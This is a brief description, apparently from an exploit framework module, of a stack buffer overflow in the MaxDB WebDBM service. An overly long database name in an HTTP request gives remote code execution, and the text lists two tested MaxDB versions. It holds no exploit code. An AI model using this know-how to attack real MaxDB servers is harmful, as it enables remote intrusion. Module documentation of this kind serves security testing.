  					This module exploits a stack buffer overflow in the MaxDB WebDBM
  				service. By sending a specially-crafted HTTP request that contains
  				an overly long database name. A remote attacker could overflow a buffer
  				and execute arbitrary code on the system with privileges of the wahttp process.
  
  				This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
